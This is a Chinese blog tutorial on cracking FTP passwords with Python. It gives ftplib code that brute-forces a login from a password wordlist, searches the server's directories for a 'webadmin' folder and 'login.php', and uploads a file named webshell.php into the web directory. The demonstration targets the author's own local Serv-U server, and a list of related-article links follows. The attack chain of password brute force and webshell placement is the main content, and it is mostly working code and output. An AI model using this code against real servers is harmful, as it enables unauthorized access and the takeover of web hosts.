使用来自ftplib包的FTP模块,就可以轻松暴力输入FTP密码,进行破解,下面为了方便演示,使用用户名为admin来测试
网上一时没有找到可以使用的FTP站点,所以自己搭建一个FTP服务器测试下,官网:下载Serv-U

from ftplib import FTPftpaddr='127.0.0.1'
uname='admin'def getPwd(upwd):try:ftp=FTP(ftpaddr)ftp.login(uname,upwd)print('正确密码为:{0}'.format(upwd))return Trueexcept Exception:return Falsepwdlist=open('pwds.txt','r')
pwds=pwdlist.readlines()
for pwd in pwds:print("密码输入为:{0}".format(pwd))pwd=pwd.strip()if(getPwd(pwd)):break
pwdlist.close()

密码输入为:admin

密码输入为:admin123

正确密码为:admin123

最开始的时候使用的FTP地址为ftp://127.0.0.1,总是报错,后来发现不需要加,直接就是地址即可,127.0.0.1即可,不然将出现下面这样的异常错误:

Traceback (most recent call last):
  File "C:\Python27\1.py", line 27, in <module>
    ftp=FTP(ftpaddr)
  File "C:\Python27\lib\ftplib.py", line 120, in __init__
    self.connect(host)
  File "C:\Python27\lib\ftplib.py", line 135, in connect
    self.sock = socket.create_connection((self.host, self.port),
self.timeout)
  File "C:\Python27\lib\socket.py", line 557, in create_connection
    for res in getaddrinfo(host, port, 0, SOCK_STREAM):
gaierror: [Errno 11001] getaddrinfo failed

ftp目录和文件的一些操作

# encoding:utf-8from ftplib import FTPftp=FTP('127.0.0.1','admin','admin123')
#print(ftp.getwelcome())    #220 Serv-U FTP Server v15.1 ready...
#ftp.retrlines('LIST')      #列出目录和文件的详细信息def getSubDir(self, *args):cmd = 'LIST'func = Noneif args[-1:] and type(args[-1]) != type(''):args, func = args[:-1], args[-1]for arg in args:cmd = cmd + (' ' + arg)files = []ftp.retrlines(cmd, files.append)return files
#获取目录列表
def getDirs(dirname=None):if dirname != None:ftp.cwd(dirname)files = getSubDir('')#详细信息都去掉,只截取目录和文件的名称fname = [f.split(" ")[-1] for f in files]#去掉.和..以及文件,这样就只剩下目录了return [f for f in fname if '.' not in f]#获取文件列表
def getFiles(dirname=None):if dirname != None:ftp.cwd(dirname)return ftp.nlst()#找到webadmin目录的位置(这里测试两层目录)
def findDir(dir1,dir2):if(dir1.lower().find('webadmin')>=0):print('位置为:{0}'.format(dir1))if(dir2.lower().find('webadmin')>=0):print('位置为:{0}'.format(dir1 + '/' + dir2))dirList1=getDirs('')
for d1 in dirList1:print(d1)findDir(d1,'')ftp.cwd('..')dirList2=getDirs(d1)for d2 in dirList2:print('  '+d2)findDir(d1,d2)#找到login.php所在的位置
def findFile(dirname,fname):if(fname.lower().find('login.php')>=0):print('文件所在目录为:{}'.format(dirname))dirlist1=getDirs('')
for d1 in dirlist1:print(d1)ftp.cwd('~')    #跳转到根目录for f1 in getFiles(d1):f1=f1.decode('utf-8')findFile(d1,f1)ftp.cwd('..')   #跳转到上级目录dirlist2=getDirs(d1)for d2 in dirlist2:print('  '+d2)ftp.cwd('~')    #跳转到根目录for f2 in getFiles(d1+'/'+d2):f2=f2.decode('utf-8')findFile(d1+'/'+d2,f2)

BBBBB
  nnnnnnnn
ccccc
hjjhjh
Serv-U
  12345
  Crack
  新建文件夹
wwww
  webadmin
位置为:wwww/webadmin

BBBBB
  nnnnnnnn
ccccc
hjjhjh
Serv-U
  12345
  Crack
  新建文件夹
wwww
  webadmin
文件所在目录为:wwww/webadmin

上传webshell

ftp=FTP('127.0.0.1','admin','admin123')
fp=open('D:/Serv-U/wwww/webadmin/1.txt','rb')
ftp.cwd("wwww/webadmin")
ftp.storbinary("STOR webshell.php",fp)
print('成功将1.txt文件内容写入到webshell.php文件里')
fp.close()
ftp.quit()

Python遍历破解FTP密码,并上传webshell相关推荐

  1. python——利用nmap进行端口扫描,爆破ftp密码,上传wellshell.

    一.端口扫描 首先安装nmap与python-nmap模块.从http://nmap.org/download.html网站下载nmap安装文件.从http://xael.org/norman/pyt ...

  2. java实现ftp文件的上传与下载

    最近在做ftp文件的上传与下载,基于此,整理了一下资料.本来想采用java自带的方法,可是看了一下jdk1.6与1.7的实现方法有点区别,于是采用了Apache下的框架实现的... 1.首先引用3个包 ...

  3. Jquery Uploadify插件+Servlet解决FTP多文件上传

    这个小程序的起因是老大让我做一个Adobe LiveCycle的外围小程序,附件要随着工作流一起流转用于每级用户审批作为参考.我用.Net2个小时搞完了,被老大通知这个必须用JAVA做-.-无奈之下搞 ...

  4. python 全栈开发,Day86(上传文件,上传头像,CBV,python读写Excel,虚拟环境virtualenv)

    python 全栈开发,Day86(上传文件,上传头像,CBV,python读写Excel,虚拟环境virtualenv) 一.上传文件 上传一个图片 使用input type="file& ...

  5. C# FTP操作(上传、下载等……)

    因为工作中经常涉及到FTP文件的上传和下载,每次有这样的需求时都要重复编写相同的代码,后来干脆整理一个FTPClass,这样不仅方便自己使用,也可以共享给部门其它同事,使用时直接调用就可以了,节省了大 ...

  6. 怎么上传ftp服务器文件,ftp服务器如何上传本地文件

    ftp服务器如何上传本地文件 内容精选 换一换 在本地主机和Windows弹性云服务器上分别安装QQ.exe等工具进行数据传输.使用远程桌面连接mstsc方式进行数据传输.该方式不支持断点续传,可能存 ...

  7. python实现阿里云OSS文件上传下载

    一 前言 最近使用到阿里云的产品OSS,用于临时存储线上抽取的数据,然后起本地化的流程去OSS拉回本地,进行自动化数据验证.OSS提供了web方式的管理控制台,命令行管理工具,提供了主流的SDK支持, ...

  8. python暴力破解压缩包密码(python暴力破解zip压缩包)

    python暴力破解压缩包密码 简介 简介: ZIP文件格式是一种数据压缩和文档储存的文件格式,原名Deflate,发明者为菲尔·卡茨(Phil Katz),他于1989年1月公布了该格式的资料.ZI ...

  9. linux上连接ftp服务器,linux下lftp连接ftp服务器进行上传与下载的方法详解

    摘要 腾兴网为您分享:linux下lftp连接ftp服务器进行上传与下载的方法详解,中英翻译,中建在线,掌上看家,银行帮等软件知识,以及微信一键转发工具,小学英语冀教版,正是在下表情包,易问电信,万能 ...

最新文章

  1. ECUG 全球技术大会重回上海!
  2. Apache Beam的架构概览
  3. 谈谈Mux与门电路的相互替换(包含实例分析)
  4. RHEL5.4部署中央日志服务器之rsyslog+loganalyzer
  5. expecting statement错误的一种情况(phpstorm 8.0.2)
  6. C语言开发笔记(七)const和指针
  7. P1422 小玉家的电费--2022.03.15
  8. WCF标准绑定以及传输协议与编码格式
  9. printf 输出字符串 需要加上 c_str()
  10. 计算机高级技师论文网,高级技师论文(数控铣床、加工中心).doc
  11. 微信小程序云开发教程-WXML入门-条件渲染
  12. 小米笔记本 镜像_2020年小米笔记本Air 13.3原装WIN10出厂系统ISO镜像1607原版下载...
  13. 知到网课教师口语艺术考试题库(含答案)
  14. Mac 怎样安装虚拟机(VMware fusion 12)
  15. 【详细服务器配julia】
  16. 产业区块链一周动态丨江西将出台区块链五年计划,数字货币试点引发A股躁动...
  17. SAP MM06物料删除
  18. 机器学习sklearn-逻辑回归评分卡案例
  19. 企业数字化转型之传统IT架构改造
  20. MATLAB---约束最小平方滤波

热门文章

  1. Https背景与证书在spring boot项目中的使用
  2. (转)运维角度浅谈MySQL数据库优化
  3. AndroidStudio安卓原生开发_android.view.WindowManager$BadTokenException: Unable to add---Android原生开发工作笔记129
  4. AndroidStudio_在android中使用定时器_异步定时实现心跳保活功能---Android原生开发工作笔记231
  5. 大数据之-Hadoop伪分布式_Log日志查看和NN格式化前强调---大数据之hadoop工作笔记0024
  6. STM32工作笔记0074---UCOSIII 任务管理(中)
  7. SpringCloud工作笔记037---spring cloud-zuul的Filter详解
  8. SuSe防火墙iptables配置
  9. linux mysql安装及密码相关问题(2)和navicat整合连接
  10. cocos2d-x之json文件读取初试